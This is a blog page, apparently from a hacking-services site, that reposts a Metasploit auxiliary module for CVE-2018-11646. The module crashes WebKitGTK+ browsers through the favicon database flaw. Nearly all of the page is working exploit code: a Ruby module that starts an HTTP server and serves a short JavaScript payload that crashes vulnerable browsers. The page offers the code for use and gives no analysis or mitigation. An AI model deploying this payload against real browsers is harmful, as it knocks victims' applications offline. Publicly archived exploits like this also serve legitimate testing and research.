Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863107237

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
##
# Title: WebKitGTK+ < 2.21.3 - 'WebKitFaviconDatabase' DoS
# Author: Dhiraj Mishra
# Date: 2018-06-11
# CVE: 2018-11646
#
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpServer

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name'           => "WebKitGTK+ WebKitFaviconDatabase DoS",
        'Description'    => %q(
          This module exploits a vulnerability in WebKitFaviconDatabase when pageURL is unset.
          If successful, it could lead to application crash, resulting in denial of service.
        ),
        'License'        => MSF_LICENSE,
        'Author'         => [
          'Dhiraj Mishra', # Original discovery, disclosure
          'Hardik Mehta',  # Original discovery, disclosure
          'Zubin Devnani', # Original discovery, disclosure
          'Manuel Caballero' #JS Code
        ],
        'References' => [
          ['EDB', '44842'],
          ['CVE', '2018-11646'],
          ['URL', 'https://bugs.webkit.org/show_bug.cgi?id=186164'],
          ['URL', 'https://datarift.blogspot.com/2018/06/cve-2018-11646-webkit.html']
        ],
        'DisclosureDate' => 'Jun 03 2018',
        'Actions'        => [[ 'WebServer' ]],
        'PassiveActions' => [ 'WebServer' ],
        'DefaultAction'  => 'WebServer'
      )
    )
  end

  def run
    exploit # start http server
  end

  def setup
    @html = <<-JS
<script type="text/javascript">
 win = window.open("WIN", "WIN");
 window.open("http://example.com/", "WIN");
 win.document.execCommand('stop');
 win.document.write("HelloWorld");
 win.document.close();
</script>
    JS
  end

  def on_request_uri(cli, _request)
    print_status('Sending response')
    send_response(cli, @html)
  end
end